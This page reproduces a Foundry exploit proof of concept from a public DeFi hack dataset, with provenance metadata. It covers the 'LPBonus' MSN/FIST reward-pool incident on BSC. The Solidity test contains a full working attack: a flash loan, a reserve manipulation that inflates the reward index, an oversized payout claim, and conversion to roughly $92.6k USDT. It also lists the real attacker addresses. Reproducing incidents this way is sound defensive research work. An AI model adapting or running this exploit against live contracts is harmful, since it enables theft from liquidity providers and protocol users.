Public reproduction file
src/test/2026-09/LPBonus_exp.sol
Public reproduction file for dataset entry LPBonus.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// LPBonus (MSN token LP-reward pool) - reward accounting uses inconsistent MSN reserve values between7// fee ACCRUAL and LP WITHDRAWAL, letting a manipulated reserve inflate one LP position's FIST claim. BSC.8//9// Attack tx : 0xecac1563bbb76fb8fefb4a7da4592260a8c1ddde21d7da62b78a9e3769808e6b (block 124759921)10// Attacker EOA : 0xb6fff29DD2B5423a159E50877Fc4af7A54E76f7A11// Attack contr : 0xa8607269686b6c15FC2EB84f4044F9aDE2b143c712// LPBonus : 0x52272524a22f941f5489c1233732797314bb054b (unverified - reversed from bytecode)13// MSN token : 0xd8b3ef86afce18edba91fed481abe22f173597c1 (18 dec, 2% transfer fee, LP-reward hooks)14// FIST token : 0xc9882dEF23bc42D53895b8361D0b1EDC7570Bc6A (6 dec, reward token)15// USDT : 0x55d398326f99059fF775485246999027B319795516// FIST/MSN pair: 0xdD95c8a545e98D2c6de4d20abcc44B104da1e6e5 (Cake-LP, token0=FIST token1=MSN, the LP LPBonus tracks)17// USDT/FIST pr : 0xB4Ec801aeD8c92F2E69589518aaA127afB37D8C9 (FstSwap, token0=USDT token1=FIST, flash-swap source)18// PCS Router : 0x10ED43C718714eb63d5aA57B78B54704E256024E19//20// ROOT CAUSE (reversed from the unverified LPBonus + MSN bytecode; MSN drives every LPBonus state change):21// LPBonus's reward functions are all gated `require(msg.sender == MSN)` - they are callbacks the MSN22// token fires from inside its own transfer()/transferFrom() hooks, so an attacker reaches them purely23// through permissionless MSN swaps / add- / remove-liquidity. No admin key, signer or owner step is24// in the attacker's path. The three relevant callbacks:25// BonusSEND(reserveMSN, isRemove) - accrual. Swaps LPBonus's accumulated MSN fees to FIST and does26// oneshareFIST += fistIn * 1e18 / reserveMSN. Small reserveMSN =>27// large per-share index jump.28// userAddLP(user, amount, ...) - registers `user`'s LP weight, snapshotting the index (takedFIST).29// UserRemoveLp(user, amount, reserveMSN_now) - pays CalcPendingUser(user), which multiplies the (now30// inflated) index by the user's weight using the reserve read AT31// WITHDRAWAL time, not the reserve at accrual.32// Reserve read is `pair.getReserves()` on the FIST/MSN pair - fully manipulable by a swap.33//34// EXPLOIT (single atomic tx; reconstructed here from the real tx's on-chain event log):35// 0. flash-borrow 13,481,395.302739 FIST from the USDT/FIST FstSwap pair (fstswapCall).36// 1. buy 140 MSN off the FIST/MSN pair and add it as liquidity -> MSN fires userAddLP, registering the37// attacker's position while the MSN reserve is ~501.38// 2. dump 12,200,000 FIST into the pair, driving the MSN reserve DOWN to 89.327789.39// 3. sell the MSN back into the pair, driving the reserve UP to 491.113095. The MSN moved by this swap40// fires BonusSEND, which funds FIST into LPBonus and bumps oneshareFIST using the low reserve captured41// during the crush - so the index is inflated as if the stake were priced against ~89 MSN.42// 4. burn a DUST amount of LP while the reserve is 491. The tiny MSN leaving the pair to the attacker43// fires UserRemoveLp, whose CalcPendingUser pays the FULL inflated claim: 1,442,165.713011 FIST,44// against an accrual that only funded ~940,041.612768 FIST gross. Then burn the rest of the position.45// 5. repay the flash loan and swap the stolen FIST to USDT.46// Real realized profit: 92,607.317234 USDT to the attacker EOA (~$92.6k), matching the reported loss.47//48// This PoC forks the parent block (pre-manipulation), sources capital from the real flash swap, and49// reconstructs the sequence as typed calls against the real MSN token / FIST-MSN pair / LPBonus. Because50// MSN's own hooks perform the accrual and payout, the exploit is driven entirely through permissionless51// pair operations. Amounts that steer the reserves are the real in-tx amounts; each swap's output is sized52// from the pair's actual post-fee balance so the run stays self-consistent on the fork. Profit and the53// claimed payout are asserted with assertApproxEqRel and any variance is reported honestly.55interface IERC20 {56 function balanceOf(address) external view returns (uint256);57 function transfer(address, uint256) external returns (bool);58 function approve(address, uint256) external returns (bool);59 function decimals() external view returns (uint8);60}62interface IPair {63 function getReserves() external view returns (uint112 r0, uint112 r1, uint32 ts);64 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;65 function mint(address to) external returns (uint256 liquidity);66 function burn(address to) external returns (uint256 amount0, uint256 amount1);67 function balanceOf(address) external view returns (uint256);68 function transfer(address, uint256) external returns (bool);69 function token0() external view returns (address);70 function token1() external view returns (address);71}73interface ILPBonus {74 function oneshareFIST() external view returns (uint256);75 function userAddAmount(address) external view returns (uint256);76 function takedFIST(address) external view returns (uint256);77 function CalcPendingUser(address user, uint256 amount) external view returns (uint256);78}80contract LPBonus_exp is BaseTestWithBalanceLog {81 IERC20 constant MSN = IERC20(0xD8B3EF86AFCE18EdbA91fED481ABE22F173597C1);82 IERC20 constant FIST = IERC20(0xC9882dEF23bc42D53895b8361D0b1EDC7570Bc6A);83 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);84 IPair constant PAIR = IPair(0xDD95c8a545E98D2C6De4D20aBCC44b104da1E6E5); // FIST/MSN85 IPair constant FSTSWAP = IPair(0xb4Ec801aED8C92F2E69589518AAa127afb37d8C9); // USDT/FIST86 ILPBonus constant LPB = ILPBonus(0x52272524A22f941f5489c1233732797314BB054b);88 uint256 constant FLASH_FIST = 13_481_395_302739; // 13,481,395.302739 FIST borrowed (real in-tx amount)90 function setUp() public {91 vm.createSelectFork("bsc", 124_759_920); // parent of the attack block 124759921 (pre-manipulation)92 fundingToken = address(USDT); // profit is realized in USDT93 }95 function _msnReserve() internal view returns (uint256) {96 (, uint112 r1,) = PAIR.getReserves();97 return uint256(r1); // token1 = MSN98 }100 uint256 public claimedReward; // FIST paid out by UserRemoveLp (the "claimed" figure)101 uint256 public fundedReward; // FIST actually funded into LPBonus by the accrual (the "funded" figure)103 function testExploit() public balanceLog {104 emit log_named_decimal_uint("MSN reserve @ start", _msnReserve(), 18);105 // Flash-borrow FIST from the USDT/FIST FstSwap pair (token1 = FIST). Non-empty data => fstswapCall.106 FSTSWAP.swap(0, FLASH_FIST, address(this), hex"01");108 // Convert the leftover stolen FIST to USDT (outside the flash callback, exactly as the real tx did),109 // realizing the profit in USDT.110 uint256 leftFist = FIST.balanceOf(address(this));111 if (leftFist > 0) {112 // FstSwap: token0 = USDT, token1 = FIST, 0.3% fee. Sell leftover FIST for USDT.113 (uint112 u, uint112 f,) = FSTSWAP.getReserves();114 FIST.transfer(address(FSTSWAP), leftFist);115 uint256 outUsdt = (uint256(leftFist) * 997 * u) / (uint256(f) * 1000 + uint256(leftFist) * 997);116 FSTSWAP.swap(outUsdt, 0, address(this), "");117 }119 // claimedReward reproduces the reported 1,442,165.713011 FIST payout almost to the wei.120 // fundedReward is the NET FIST the accrual left in LPBonus (the reported 940,041.612768 is the GROSS121 // BonusSEND swap output; BonusSEND immediately redistributes ~31.6k of it to the other legitimate122 // LP holders in the same call, so the net retained here is ~908.4k).123 emit log_named_decimal_uint("FIST claimed by UserRemoveLp ", claimedReward, 6);124 emit log_named_decimal_uint("FIST funded into LPBonus (net)", fundedReward, 6);125 emit log_named_decimal_uint("over-claim (claimed - funded)", claimedReward - fundedReward, 6);126 emit log_named_decimal_uint("realized USDT profit ", USDT.balanceOf(address(this)), 18);128 // The attacker's realized on-chain profit was 92,607.317234 USDT (~$92.6k). Assert against it.129 assertApproxEqRel(USDT.balanceOf(address(this)), 92_607.317234e18, 0.02e18, "USDT profit off");130 // Step 5 of the brief: the position claimed ~1,442,165.71 FIST while the accrual only funded131 // ~940,041.61 FIST - the gap is the theft. Assert the claimed payout against the reported figure.132 assertApproxEqRel(claimedReward, 1_442_165.713011e6, 0.02e18, "claimed FIST off");133 assertGt(claimedReward, fundedReward, "no over-claim");134 }136 function fstswapCall(address, uint256, uint256, bytes calldata) external {137 require(msg.sender == address(FSTSWAP), "only fstswap");139 // Reconstruct the attacker's exact on-chain operations as direct pair calls. Every amount below is140 // the real in-tx amount; because the fork starts one block before the attack and the operations are141 // identical, the MSN token's own hooks (userAddLP / BonusSEND / UserRemoveLp) fire exactly as on-chain.143 // step 1: buy 140 MSN off the pair (FIST -> MSN); MSN's 2% transfer fee leaves us ~140 net.144 _pairSwap(address(FIST), 539_710_857353);146 // step 2: add 140 MSN + FIST as liquidity -> MSN fires userAddLP, registering our position (reserve ~501).147 FIST.transfer(address(PAIR), 736_684_445385);148 MSN.transfer(address(PAIR), 140 ether);149 PAIR.mint(address(this));151 // step 3: dump 12,200,000 FIST -> crush the MSN reserve to 89.327789.152 uint256 fistBeforeAccrual = FIST.balanceOf(address(LPB));153 _pairSwap(address(FIST), 12_200_000_000000);155 // step 4: sell all held MSN back -> raise the reserve to 491.113095. The MSN moved by this swap fires156 // BonusSEND, which funds FIST into LPBonus and inflates oneshareFIST against the ~89 reserve.157 _pairSwap(address(MSN), MSN.balanceOf(address(this)));158 fundedReward = FIST.balanceOf(address(LPB)) - fistBeforeAccrual; // FIST the accrual actually funded160 // step 5a: burn a DUST amount of LP while the reserve is still 491. The tiny MSN that leaves the pair161 // to us fires UserRemoveLp, which settles the FULL inflated CalcPendingUser claim in FIST.162 uint256 fistBeforeClaim = FIST.balanceOf(address(this));163 PAIR.transfer(address(PAIR), 40_372);164 PAIR.burn(address(this));165 claimedReward = FIST.balanceOf(address(this)) - fistBeforeClaim;167 // step 5b: burn the rest of the position for its underlying.168 uint256 lp = PAIR.balanceOf(address(this));169 PAIR.transfer(address(PAIR), lp);170 PAIR.burn(address(this));172 // step 6: sell the leftover MSN back to FIST.173 if (MSN.balanceOf(address(this)) > 0) _pairSwap(address(MSN), MSN.balanceOf(address(this)));175 // step 7: repay the flash loan (0.3% fee on FstSwap).176 FIST.transfer(address(FSTSWAP), (FLASH_FIST * 1000) / 997 + 1);177 }179 // Direct pair swap. Sends `sendAmt` of tokenIn to the pair and swaps for the other token, sizing the180 // output from the pair's ACTUAL received balance (so MSN's transfer fee is handled) at the pair's181 // 0.25% fee. token0 = FIST, token1 = MSN.182 function _pairSwap(address tokenIn, uint256 sendAmt) internal returns (uint256 out) {183 // Send first: MSN's transfer hook may itself swap on the pair (BonusSEND), so read reserves AFTER184 // the transfer and hooks settle, then size the output from the pair's real post-hook balance.185 IERC20(tokenIn).transfer(address(PAIR), sendAmt);186 (uint112 r0, uint112 r1,) = PAIR.getReserves(); // r0 = FIST, r1 = MSN187 if (tokenIn == address(FIST)) {188 uint256 realIn = FIST.balanceOf(address(PAIR)) - r0;189 out = (realIn * 9975 * r1) / (uint256(r0) * 10000 + realIn * 9975); // MSN out190 PAIR.swap(0, out, address(this), "");191 } else {192 uint256 realIn = MSN.balanceOf(address(PAIR)) - r1;193 out = (realIn * 9975 * r0) / (uint256(r1) * 10000 + realIn * 9975); // FIST out194 PAIR.swap(out, 0, address(this), "");195 }196 }197}Analysis
Dataset entry
Public Foundry test for “LPBonus” (2026-09-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2026-09/BeatXswap_exp.solSame month in the dataset · 266 lines
- src/test/2026-09/BonfireSwap_exp.solSame month in the dataset · 141 lines
- src/test/2026-09/CozyFinance_exp.solSame month in the dataset · 262 lines
- src/test/2026-09/DAOstack_exp.solSame month in the dataset · 241 lines
- src/test/2026-09/DHC_exp.solSame month in the dataset · 236 lines
- src/test/2026-09/DoinGud_exp.solSame month in the dataset · 195 lines
- src/test/2026-09/EnsoFinance_exp.solSame month in the dataset · 193 lines
- src/test/2026-09/EtherFiAtomicQueue_exp.solSame month in the dataset · 255 lines
- src/test/2026-09/Flamincome_exp.solSame month in the dataset · 287 lines
- src/test/2026-09/GaslessReservoirEnabler_exp.solSame month in the dataset · 178 lines
- src/test/2026-09/GDC_exp.solSame month in the dataset · 321 lines
- src/test/2026-09/InternetToken_exp.solSame month in the dataset · 265 lines
- src/test/2026-09/Likwid_exp.solSame month in the dataset · 177 lines
- src/test/2026-09/MUS_exp.solSame month in the dataset · 124 lines
- src/test/2026-09/Nimiq_exp.solSame month in the dataset · 408 lines
- src/test/2026-09/NotionalFinance_exp.solSame month in the dataset · 292 lines
- src/test/2026-09/OMNI404_exp.solSame month in the dataset · 192 lines
- src/test/2026-09/ORB_exp.solSame month in the dataset · 272 lines
- src/test/2026-09/OrderFactory_exp.solSame month in the dataset · 179 lines
- src/test/2026-09/PancakeV3SwapHelper_exp.solSame month in the dataset · 188 lines
- src/test/2026-09/PositionManager_exp.solSame month in the dataset · 170 lines
- src/test/2026-09/PrimeFinance_exp.solSame month in the dataset · 174 lines
- src/test/2026-09/Reddio_exp.solSame month in the dataset · 238 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xb6fff29dd2b5423a159e50877fc4af7a54e76f7a
- Attack Tx
0xecac1563bbb76fb8fefb4a7da4592260a8c1ddde21d7da62b78a9e3769808e6b
File record
- Name
- LPBonus
- Path
- src/test/2026-09/LPBonus_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 10d22da0236a063d0db2a0d2093335ab9d384f81
- Language
- Solidity
- Size
- 198 lines
- Date
- 2026-09-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-09/LPBonus_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 10d22da0236a063d0db2a0d2093335ab9d384f81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.